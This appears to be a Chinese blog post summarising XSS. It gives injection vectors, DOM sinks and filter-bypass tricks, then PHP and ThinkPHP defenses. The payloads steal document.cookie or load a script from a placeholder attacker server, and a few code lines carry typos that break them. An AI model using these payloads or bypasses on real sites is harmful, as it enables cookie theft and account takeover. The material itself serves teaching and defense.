1. 程式人生 > 實用技巧 >xss知識點小結

xss知識點小結

XSS知識點小結


HTML中可以執行js程式碼的地方

<script>標籤中執行js程式碼

這是最常用方法

<script> alert(document.cookie);</script>
<script src="http://<yourVPS>/xss.js"></script>

在HTML標籤的屬性中新增事件

不同標籤支援的事件不同,很難全部記住。在找到xss的構造點後,可以到javascript event物件中查詢可用的事件。一些可以自動觸發的事件可以作為首選項,像onerror,onload等。

<img src="abc" onerror="alert(document.cookie);">
<input id="123" value="test" onblur="alert(document.cookie);">

在具有src,href屬性的一些標籤中執行js程式碼

支援這種js執行的標籤不多,暫時就找到這幾個,後續有接觸到會更新

<a href="javascript:alert(document.cookie);">click me!</a>
<iframe src="javascript:alert(document.cookie);"></iframe>

DOM型XSS常見的引發原因

利用的前提都是有可控引數

  • location.href
  • innerHTML,outerHTML
  • appendChild
  • doucument.write/writeln
  • eval,setTimeout
  • ....
location.href="javascript:alert(1)";
var tmp = document.getElementsById('1');
tmp.innerHTML='<script>alert(1);</script>';
doucument.write('<script>alert(1);</scirpt>');
eval("alert(1);");
setTimeout(function(){alert(1);},1000);

XSS的防禦與繞過

在找到可控的輸入點後,就是想辦法構造上面三種方式之一來觸發js。但99%的情況下輸入的資料都做了過濾處理,下面就是想辦法繞過其過濾機制。

常用的繞過方法

  • 大小寫繞過
  • 雙寫繞過
  • 替換繞過
    • alert可用prompt,confirm,top\['alert'\](1)
    • ()可用 ``代替
    • 空格可用%0a,%0d,/**/; html的標籤內分割兩部分還可以用/
    • 字元ſ(ord=383)轉為大寫為S
  • 編碼繞過
    • url編碼
    • html實體 &#x74; &#116;
    • javascript字元編碼 八進位制\164 十六進位制\x0074
  • js的String.fromCharCode方法獲得字串
  • 註釋繞過
    • JavaScript註釋 // /**/
    • html註釋 <!-- --> <!-- --!>
  • @符號繞過url限制http://test:[email protected]
  • 寬位元組繞過等...

後端xss防禦

目前只接觸到PHP,所有先簡單總結下PHP常用的幾個函式,後續會繼續更新

  • 自己寫的一系列字串替換/正則匹配過濾語句等。。
  • htmlentities/htmlspecialchars 把& ' " < > 轉換為html實體
  • strip_tags 去除空字元、html和php標記,過濾較為嚴格,任意的標籤都會被過濾
  • addslashes 在' " \ 空字元前加上轉義字元
  • mysql_escape_string 對特殊的字元後正確轉義
  • mysql_real_escape_string 同上,但會考慮連線資料庫設定的字符集,從php 7.0.0開始被移除
  • thinkphp中對使用者的所有資料請求都會經過Request類處理。

以tp6為例,框架預設沒有設定任何過濾,可在app/Request中設定過濾屬性

namespace app;
class Request extends \think\Request{
	protected $filter = ['stirp_tags','htmlspecialchars'];
}

也可以在變數獲取時進行過濾

Request::get('name','','htmlspecialchars'); // 獲取get變數 並用htmlspecialchars函式過濾
Request::param('username','','strip_tags'); // 獲取param變數 並用strip_tags函式過濾
Request::post('name','','org\Filter::safeHtml'); // 獲取post變數 並用org\Filter類的safeHtml方法過濾

前端xss防禦

xss防禦重點在後端,但DOM型XSS是js的不當操作造成的,所以編寫js程式碼時應該再對後端的資料進行檢查一次之後在寫到DOM樹中。
前端渲染時明確告訴瀏覽器資料是文字、屬性還是樣式: .innerText,.setAttribute,.style
避免使用.innerHTML,outerHTML等上面提到的造成DOM型XSS的方法。如果要使用應當確保沒有可控變數或做好過濾。
location.href,標籤中的href屬性中新增值時應當過濾掉javascript偽協議。